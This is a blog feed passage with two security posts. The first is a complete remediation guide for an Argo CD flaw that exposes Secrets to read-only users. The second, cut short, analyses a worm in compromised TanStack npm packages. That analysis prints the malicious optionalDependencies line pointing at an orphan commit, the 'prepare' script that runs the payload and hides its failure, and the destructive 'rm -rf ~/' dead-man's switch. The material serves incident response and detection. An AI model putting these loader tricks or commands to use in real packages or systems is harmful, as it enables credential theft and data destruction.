<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>An Argo CD installation on 3.2.x or 3.3.x. Run <code>argocd version</code> (server) or <code>kubectl -n argocd get deploy argocd-server -o jsonpath=&#39;{.spec.template.spec.containers[0].image}&#39;</code> to confirm.</li>
<li><code>kubectl</code> access to the namespace your Applications live in (usually <code>argocd</code>, but the CR can live anywhere).</li>
<li><code>jq</code> for the one-liner. <code>yq</code> works too if you prefer.</li>
</ul>
<h2 id="h2-what-the-bug-actually-is" class="group relative scroll-mt-24">
        <a href="#h2-what-the-bug-actually-is" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What the bug actually is
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-the-bug-actually-is"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>ServerSideDiff is the Argo CD feature that asks the Kubernetes API server to do a Server-Side Apply dry-run and then diffs the resulting object against the desired state. It was added in 3.x because it produces more accurate diffs than the older client-side approach, especially when controllers or mutating webhooks add fields to the live object.</p>
<p>The vulnerable code path is the gRPC method <code>application.ApplicationService/ServerSideDiff</code>, exposed over REST as <code>/api/v1/applications/{appName}/resource-tree/diff</code>. The handler at <code>server/application/application.go:3051-3062</code> constructs its response from the raw <code>PredictedLive</code> and <code>NormalizedLive</code> objects returned by the dry-run, without ever calling <code>hideSecretData()</code>.</p>
<p>That helper is what every other diff and state endpoint in Argo CD calls before returning a Secret-shaped object to a client. <code>GetManifests</code>, <code>GetManifestsWithFiles</code>, <code>GetResource</code>, <code>PatchResource</code>, all of them route through it. ServerSideDiff was the one handler that missed it.</p>
<p>The vulnerability needs two conditions:</p>
<ol>
<li>The caller has <code>applications, get</code> permission. In the shipped <code>role:readonly</code> policy this is wildcard, so every authenticated user has it.</li>
<li>The target Application has the compare option <code>IncludeMutationWebhook=true</code> set on the <code>argocd.argoproj.io/compare-options</code> annotation. Without that flag, a secondary filter called <code>removeWebhookMutation()</code> runs over the response and strips fields injected by mutating webhooks, which incidentally catches the leak. The dangerous combination is <code>ServerSideDiff=true,IncludeMutationWebhook=true</code> in the same annotation value.</li>
</ol>
<p>What leaks is the rendered Kubernetes Secret as it would appear in etcd. The advisory specifically calls out service account tokens, TLS private keys, database credentials, and API keys. SealedSecrets and ExternalSecrets are not decrypted by Argo CD itself, but the bug leaks the Secret object their controllers produce, which is materially the same outcome from the attacker&#39;s perspective.</p>
<p>One nuance worth knowing: the CVSS vector is <code>AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N</code>. <code>PR:L</code> means a valid authenticated session is required. The advisory is correctly framed as &quot;every authenticated user&quot;, not &quot;every unauthenticated attacker&quot;. For most Argo CD deployments this is a distinction without a difference, since SSO is typically wired up to the whole engineering org.</p>
<h2 id="h2-find-at-risk-applications-in-your-cluster" class="group relative scroll-mt-24">
        <a href="#h2-find-at-risk-applications-in-your-cluster" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Find at-risk Applications in your cluster
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-find-at-risk-applications-in-your-cluster"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The fastest way to know whether you are affected is to list every Application whose compare-options annotation contains <code>IncludeMutationWebhook=true</code>:</p>
<pre><code class="hljs language-bash">kubectl get applications.argoproj.io -A -o json \
  | jq -r <span class="hljs-string">&#x27;.items[]
      | select(.metadata.annotations[&quot;argocd.argoproj.io/compare-options&quot;]
      | tostring
      | contains(&quot;IncludeMutationWebhook=true&quot;))
      | &quot;\(.metadata.namespace)/\(.metadata.name)&quot;&#x27;</span>
</code></pre><p>This returns one <code>namespace/name</code> per affected Application. Empty output means no Application in the cluster carries the dangerous annotation, but that does not mean you can skip the upgrade. The annotation can also be set globally via the <code>resource.compareoptions</code> field in the <code>argocd-cm</code> ConfigMap:</p>
<pre><code class="hljs language-bash">kubectl -n argocd get cm argocd-cm -o jsonpath=<span class="hljs-string">&#x27;{.data.resource\.compareoptions}&#x27;</span>
</code></pre><p>If that output contains <code>IncludeMutationWebhook=true</code>, every Application in the cluster inherits the dangerous setting, even Applications without their own annotation. The upgrade becomes urgent rather than important.</p>
<p>If you want to know whether the bug has actually been exploited against you, the bad news is there is no dedicated audit field. The Argo CD access log records the gRPC method and the subject from the JWT, so the best you can do is grep historical logs for non-admin subjects calling <code>ServerSideDiff</code>:</p>
<pre><code class="hljs language-bash">kubectl -n argocd logs deploy/argocd-server --<span class="hljs-built_in">tail</span>=1000000 \
  | grep ServerSideDiff \
  | grep -v <span class="hljs-string">&#x27;sub=admin&#x27;</span>
</code></pre><p>That gives a noisy but reviewable list. If your subjects are organisation emails or group claims, swap the second <code>grep</code> for the pattern that matches your admins.</p>
<h2 id="h2-the-upgrade" class="group relative scroll-mt-24">
        <a href="#h2-the-upgrade" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The upgrade
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-upgrade"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The patch is a pure bugfix. The diff adds the existing <code>hideSecretData()</code> call to the ServerSideDiff response builder. There are no new flags, no new defaults, no behavior change for legitimate users beyond the obvious one of no longer seeing plaintext Secret values in diffs. Most teams using ServerSideDiff for legitimate reasons (catching drift introduced by mutating webhooks) get back the same masked diff they already get from every other endpoint.</p>
<p>The version mapping is straightforward:</p>
<pre><code class="hljs language-text">Argo CD 3.3.x  -&gt;  upgrade to v3.3.9
Argo CD 3.2.x  -&gt;  upgrade to v3.2.11
Argo CD 2.x    -&gt;  not affected, no action needed
</code></pre><p>If you install via the official Helm chart, the 9.5.x line tracks 3.3.x and pins appVersion <code>v3.3.9</code> from chart 9.5.11 onward. The 3.2.x line is still served by the older chart majors (8.x). Verify the appVersion mapping on <a href="https://artifacthub.io/packages/helm/argo/argo-cd">Artifact Hub</a> before pinning a chart version, since the Argo team does not always cut chart releases on the same day as the controller release.</p>
<p>Once the new image is running, the on-the-wire fix is verifiable. Authenticated as a read-only user, call the ServerSideDiff endpoint against an Application that carries <code>IncludeMutationWebhook=true</code> and confirm the response no longer contains <code>data</code> fields populated for Secret resources.</p>
<h2 id="h2-if-you-cannot-upgrade-today" class="group relative scroll-mt-24">
        <a href="#h2-if-you-cannot-upgrade-today" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          If you cannot upgrade today
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-if-you-cannot-upgrade-today"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Two options buy time. The first is annotation removal:</p>
<pre><code class="hljs language-bash">kubectl -n argocd annotate application &lt;name&gt; \
  argocd.argoproj.io/compare-options-
</code></pre><p>Removing the annotation is safe. It reverts to default ServerSideDiff behavior, which filters mutation-webhook-injected fields. The only consequence is that diffs no longer include those fields. If you were depending on seeing them, you were also leaking Secrets to read-only users, so this is the correct fix regardless. To remove the global setting from <code>argocd-cm</code>, edit the ConfigMap and drop <code>IncludeMutationWebhook=true</code> from the <code>resource.compareoptions</code> value.</p>
<p>The second option is RBAC scope-down. The Argo CD <code>argocd-rbac-cm</code> ConfigMap controls who can call which endpoint. The minimum effective change is to stop defaulting users to <code>role:readonly</code>. Edit the <code>policy.default</code> line:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># argocd-rbac-cm</span>
<span class="hljs-attr">policy.default:</span> <span class="hljs-string">&quot;&quot;</span>          <span class="hljs-comment"># was: role:readonly</span>
<span class="hljs-attr">policy.csv:</span> <span class="hljs-string">|
  # Existing admin role still gets everything
  g, your-admin-group, role:admin
</span>
  <span class="hljs-comment"># New explicit team scope, no wildcard get on applications</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">applications,</span> <span class="hljs-string">list,</span> <span class="hljs-string">*/*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">repositories,</span> <span class="hljs-string">get,</span> <span class="hljs-string">*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">p,</span> <span class="hljs-string">role:dev-readonly,</span> <span class="hljs-string">projects,</span> <span class="hljs-string">get,</span> <span class="hljs-string">*,</span> <span class="hljs-string">allow</span>
  <span class="hljs-string">g,</span> <span class="hljs-string">your-dev-group,</span> <span class="hljs-string">role:dev-readonly</span>
</code></pre><p>This is more disruptive than annotation removal because it changes what the UI shows to unprivileged users. List works, individual application detail does not, which is what stops the ServerSideDiff endpoint cold. Best to combine annotation removal with the RBAC change rather than rely on either alone.</p>
<p>A Kyverno policy can also block new at-risk Applications at admission time:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">kyverno.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ClusterPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">block-include-mutation-webhook</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">validationFailureAction:</span> <span class="hljs-string">enforce</span>
  <span class="hljs-attr">rules:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">deny-include-mutation-webhook</span>
      <span class="hljs-attr">match:</span>
        <span class="hljs-attr">any:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">resources:</span>
              <span class="hljs-attr">kinds:</span> [<span class="hljs-string">&quot;argoproj.io/v1alpha1/Application&quot;</span>]
      <span class="hljs-attr">validate:</span>
        <span class="hljs-attr">message:</span> <span class="hljs-string">&quot;IncludeMutationWebhook=true leaks Kubernetes Secrets to read-only users (CVE-2026-42880). Remove it or upgrade Argo CD to 3.2.11 / 3.3.9 first.&quot;</span>
        <span class="hljs-attr">pattern:</span>
          <span class="hljs-attr">metadata:</span>
            <span class="hljs-string">=(annotations):</span>
              <span class="hljs-string">=(argocd.argoproj.io/compare-options):</span> <span class="hljs-string">&quot;!*IncludeMutationWebhook=true*&quot;</span>
</code></pre><p>The same shape works as a Gatekeeper constraint if you are on OPA. Both are admission-time defences, so they prevent new bad Applications but do not retroactively fix existing ones. Pair with the <code>jq</code> query above to clean up what is already in the cluster.</p>
<h2 id="h2-the-pattern-redaction-by-handler-is-fragile" class="group relative scroll-mt-24">
        <a href="#h2-the-pattern-redaction-by-handler-is-fragile" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The pattern: redaction-by-handler is fragile
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-pattern-redaction-by-handler-is-fragile"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>CVE-2026-42880 is the second authorization-bypass of this exact shape in Argo CD inside twelve months. The previous one was <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff">CVE-2025-55190</a> on September 4, 2025, CVSS 9.9. That bug lived in <code>server/project/project.go</code> and leaked repository credentials through the <code>GetDetailedProject</code> endpoint. Same default RBAC (any authenticated user with <code>projects, get</code>), same missing redaction call.</p>
<p>Both bugs share a structural property worth flagging. Argo CD&#39;s redaction is per-handler, not middleware. Every endpoint that returns an object is responsible for calling <code>hideSecretData()</code> or its equivalent before serialising. Adding a new endpoint without that call ships a CVE. Adding a new field that holds a secret to an existing response ships a CVE.</p>
<p>For operators, the practical lesson is to stop treating <code>role:readonly</code> as if read-only is meaningful in a security sense. It grants <code>get</code> against everything, and &quot;get returns Secret values&quot; turns out to be true twice in a row. The realistic default for shared Argo CD instances is:</p>
<ul>
<li><code>policy.default: &quot;&quot;</code> (no implicit role)</li>
<li>Explicit per-team roles with only the verbs and resources the team needs</li>
<li>An explicit admin role for the platform team</li>
<li>Kyverno or Gatekeeper guards on the annotations and ConfigMap fields known to be dangerous</li>
</ul>
<p>Treat the next &quot;low-severity read-only information disclosure&quot; advisory from the project the same way you would treat a privilege-escalation one, because the read-only/privilege-escalation distinction has so far been a coin flip.</p>
<h2 id="h2-sources" class="group relative scroll-mt-24">
        <a href="#h2-sources" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Sources
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-sources"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>GHSA: <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3">github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3</a></li>
<li>NVD: <a href="https://nvd.nist.gov/vuln/detail/CVE-2026-42880">nvd.nist.gov/vuln/detail/CVE-2026-42880</a></li>
<li>Argo CD v3.3.9: <a href="https://github.com/argoproj/argo-cd/releases/tag/v3.3.9">github.com/argoproj/argo-cd/releases/tag/v3.3.9</a></li>
<li>Argo CD v3.2.11: <a href="https://github.com/argoproj/argo-cd/releases/tag/v3.2.11">github.com/argoproj/argo-cd/releases/tag/v3.2.11</a></li>
<li>Diff strategies docs (annotation syntax): <a href="https://argo-cd.readthedocs.io/en/stable/user-guide/diff-strategies/">argo-cd.readthedocs.io/en/stable/user-guide/diff-strategies</a></li>
<li>Built-in RBAC policy source: <a href="https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv">github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv</a></li>
<li>Prior pattern, CVE-2025-55190: <a href="https://github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff">github.com/argoproj/argo-cd/security/advisories/GHSA-786q-9hcg-v9ff</a></li>
</ul>
<p>Patch, then audit your RBAC. The annotation is the smoking gun. The RBAC default is the loaded weapon.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[TanStack npm Worm: The Supply-Chain Attack With a Dead-Man's Switch]]></title>
      <link>https://devops-daily.com/posts/tanstack-npm-worm-dead-mans-switch</link>
      <description><![CDATA[On May 11, 2026, attackers republished 14+ official TanStack packages on npm with a worm that signs itself with valid SLSA provenance and arms a dead-man's switch that wipes your home directory the moment you revoke the stolen GitHub token. Here is what happened, how the payload works, and how to check your machine.]]></description>
      <pubDate>Tue, 12 May 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/tanstack-npm-worm-dead-mans-switch</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[DevOps]]></category><category><![CDATA[Security]]></category><category><![CDATA[Supply Chain]]></category><category><![CDATA[npm]]></category><category><![CDATA[CICD]]></category><category><![CDATA[GitHub Actions]]></category>
      <content:encoded><![CDATA[<p><strong>Update (May 12, 2026):</strong> Socket is now tracking the same worm crossing into PyPI. Newly confirmed compromised: <code>@opensearch-project/opensearch</code> 3.5.3, 3.6.2, 3.7.0, 3.8.0 (1.3M weekly downloads), <code>mistralai</code> 2.4.6, and <code>guardrails-ai</code> 0.10.1. The cross-ecosystem jump is the same harvested credentials being reused on a different registry, not a new worm. If you ran any of the bad npm versions, treat PyPI tokens (<code>~/.pypirc</code>, <code>~/.config/pip/</code>) as compromised too.</p>
<p>On May 11, 2026, at around 19:20 UTC, two new versions of <code>@tanstack/react-router</code> appeared on npm. They were signed with valid SLSA provenance, published through the project&#39;s existing GitHub Actions OIDC trusted-publisher binding, and showed up as <code>latest</code> within minutes. By the end of the day, 14+ official TanStack packages were on the list, the worm had already propagated to 200+ downstream packages, and one detail in the payload was making people delete their npm caches with shaky hands: if you revoke the stolen GitHub token, a background process polling api.github.com sees the 401 and runs <code>rm -rf ~/</code>.</p>
<p>This post walks through what the attack did, why your normal incident-response reflex (revoke the leaked token) is the exact thing it wants you to do, and the commands to run right now to confirm you are not infected.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TL;DR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>TanStack&#39;s npm publish workflow was compromised. The attacker published valid, SLSA-signed versions of <code>@tanstack/react-router</code>, <code>@tanstack/react-start</code>, <code>@tanstack/router-core</code>, <code>@tanstack/history</code>, and ~10 more official packages.</li>
<li>The packages install fine and behave normally. They smuggle a 2.3 MB obfuscated <code>router_init.js</code> into each tarball and trigger it through a malicious <code>optionalDependencies</code> entry that points at an orphan commit in a forked GitHub repo.</li>
<li>On install, the payload harvests AWS IMDS credentials, GCP metadata, Kubernetes service-account tokens, Vault tokens, GitHub tokens, SSH keys, and <code>~/.npmrc</code>, then exfiltrates over Session/Oxen (a fully end-to-end encrypted messenger network with no centralized C2 to block).</li>
<li>It also drops a dead-man&#39;s switch: a shell script registered as a <code>systemd --user</code> service on Linux or a LaunchAgent on macOS that polls <code>api.github.com/user</code> every 60 seconds with the stolen token. The moment that token starts returning HTTP 40x (because you revoked it), the script runs <code>rm -rf ~/</code> and exits. There is a 24-hour TTL after which it gives up on its own.</li>
<li>The worm also enumerates other packages each compromised maintainer owns (via <code>registry.npmjs.org/-/v1/search?text=maintainer:</code>) and republishes them with the same injection, which is how 200+ unrelated packages picked up the payload before takedown.</li>
<li>If you ran <code>npm install</code> against affected versions, follow the detection commands below before revoking anything.</li>
</ul>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>Familiarity with how npm runs lifecycle scripts on install</li>
<li>Basic shell access to whichever machine ran <code>npm install</code> recently</li>
<li>A GitHub Personal Access Token or fine-grained token if you want to assess your token blast radius</li>
</ul>
<h2 id="h2-what-got-compromised" class="group relative scroll-mt-24">
        <a href="#h2-what-got-compromised" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          What got compromised
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-what-got-compromised"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Per the GitHub issue thread and the post-mortem at <a href="https://tanstack.com/blog/npm-supply-chain-compromise-postmortem">tanstack.com/blog/npm-supply-chain-compromise-postmortem</a>, the confirmed-bad versions are:</p>
<table>
<thead>
<tr>
<th>Package</th>
<th>First bad version</th>
<th>Second bad version (was <code>latest</code>)</th>
</tr>
</thead>
<tbody><tr>
<td><code>@tanstack/history</code></td>
<td>1.161.9</td>
<td>1.161.12</td>
</tr>
<tr>
<td><code>@tanstack/router-utils</code></td>
<td>1.161.11</td>
<td>1.161.14</td>
</tr>
<tr>
<td><code>@tanstack/router-core</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
<tr>
<td><code>@tanstack/router-devtools-core</code></td>
<td>1.167.6</td>
<td>1.167.9</td>
</tr>
<tr>
<td><code>@tanstack/react-router-devtools</code></td>
<td>1.166.16</td>
<td>1.166.19</td>
</tr>
<tr>
<td><code>@tanstack/router-generator</code></td>
<td>1.166.45</td>
<td>1.166.48</td>
</tr>
<tr>
<td><code>@tanstack/virtual-file-routes</code></td>
<td>1.161.10</td>
<td>1.161.13</td>
</tr>
<tr>
<td><code>@tanstack/router-plugin</code></td>
<td>1.167.38</td>
<td>1.167.41</td>
</tr>
<tr>
<td><code>@tanstack/react-router</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
<tr>
<td><code>@tanstack/router-devtools</code></td>
<td>1.166.16</td>
<td>1.166.19</td>
</tr>
<tr>
<td><code>@tanstack/react-start</code></td>
<td>1.167.68</td>
<td>1.167.71</td>
</tr>
<tr>
<td><code>@tanstack/router-cli</code></td>
<td>1.166.46</td>
<td>1.166.49</td>
</tr>
<tr>
<td><code>@tanstack/router-vite-plugin</code></td>
<td>1.166.53</td>
<td>1.166.56</td>
</tr>
<tr>
<td><code>@tanstack/solid-router</code></td>
<td>1.169.5</td>
<td>1.169.8</td>
</tr>
</tbody></table>
<p>Bad versions were live from roughly 19:20 UTC to npm takedown. The worm also republished 200+ packages owned by other maintainers it touched. Socket maintains a running list at <a href="https://socket.dev/supply-chain-attacks/mini-shai-hulud">socket.dev/supply-chain-attacks/mini-shai-hulud</a>.</p>
<p><code>@tanstack/query*</code>, <code>@tanstack/table*</code>, <code>@tanstack/form*</code>, <code>@tanstack/virtual*</code>, and <code>@tanstack/store</code> were not affected.</p>
<h2 id="h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit" class="group relative scroll-mt-24">
        <a href="#h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The trick: optionalDependencies pointing at a hidden orphan commit
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-trick-optionaldependencies-pointing-at-a-hidden-orphan-commit"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The packages themselves look normal. The malicious code is loaded by a single line in <code>package.json</code>:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;optionalDependencies&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;@tanstack/setup&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>When you run <code>npm install</code>, npm resolves that git dependency by fetching the <code>tanstack/router</code> repo at commit <code>79ac49ee</code>. That commit is an orphan pushed to a fork specifically so it does not appear in the default branch history. Because npm treats git dependencies as &quot;build from source,&quot; it pulls down the commit&#39;s declared dependencies (including <code>bun</code>) and runs the <code>prepare</code> lifecycle script:</p>
<pre><code class="hljs language-json"><span class="hljs-attr">&quot;scripts&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;prepare&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;bun run tanstack_runner.js  &amp;&amp; exit 1&quot;</span>
<span class="hljs-punctuation">}</span>
</code></pre><p>The <code>&amp;&amp; exit 1</code> is the clever bit. It makes the optional install fail, so npm silently discards <code>@tanstack/setup</code> from the dependency tree and produces no error in the install output. But <code>bun run tanstack_runner.js</code> already ran. <code>tanstack_runner.js</code> then loads the real payload, <code>router_init.js</code>, a 2.3 MB obfuscated file that the attacker smuggled into the tarball at the package root. The file is not listed in the package&#39;s <code>&quot;files&quot;</code> array and nothing else references it, so it would not appear in a casual code review of the package source.</p>
